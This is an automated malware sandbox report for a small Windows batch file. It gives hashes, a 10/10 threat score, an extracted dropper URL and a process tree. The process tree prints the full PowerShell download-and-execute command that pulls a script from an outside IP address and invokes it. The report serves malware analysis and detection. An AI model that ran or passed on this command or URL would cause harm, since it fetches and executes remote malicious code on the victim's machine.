8f7ad3b1ae4a99516d4e47fa682097895f767f07cbaf4ac432636610ca16a237 | Triage

Analysis

max time kernel
137s
max time network
67s
platform
windows10_x64
resource
win10v200430
submitted
20-05-2020 14:10

Sharing

Report Analysis Logs

General

Target

76268c9536af4328d6c0da30152c5045.bat
Size

215B
MD5

572a573b2da48bc8e094db663f4d54cd
SHA1

3f06e7dc06fac49d4c675ad67cd2ba2113fb6d1e
SHA256

8f7ad3b1ae4a99516d4e47fa682097895f767f07cbaf4ac432636610ca16a237
SHA512

d90c574c7012e4e58968023d625d18ccf5f713a2a9888e86bb10d692b5db6d9496cc0f3de1778ddfafebf64b5146ca625a58e09e2a939e7140cea9a00521b30d

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/76268c9536af4328d6c0da30152c5045

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1148 904 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 1148 WerFault.exe
Token: SeBackupPrivilege 1148 WerFault.exe
Token: SeDebugPrivilege 1148 WerFault.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
1148	WerFault.exe
1148	WerFault.exe
1148	WerFault.exe
1148	WerFault.exe
1148	WerFault.exe
1148	WerFault.exe
1148	WerFault.exe
1148	WerFault.exe
1148	WerFault.exe
1148	WerFault.exe
1148	WerFault.exe
1148	WerFault.exe
1148	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\76268c9536af4328d6c0da30152c5045.bat"
1⤵
PID:640

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/76268c9536af4328d6c0da30152c5045');Invoke-ANLMXOIN;Start-Sleep -s 10000"
2⤵
PID:904

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 904 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1148

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1148-0-0x0000000004AB0000-0x0000000004AB1000-memory.dmp

Filesize
4KB

Download
memory/1148-2-0x00000000050E0000-0x00000000050E1000-memory.dmp

Filesize
4KB

Download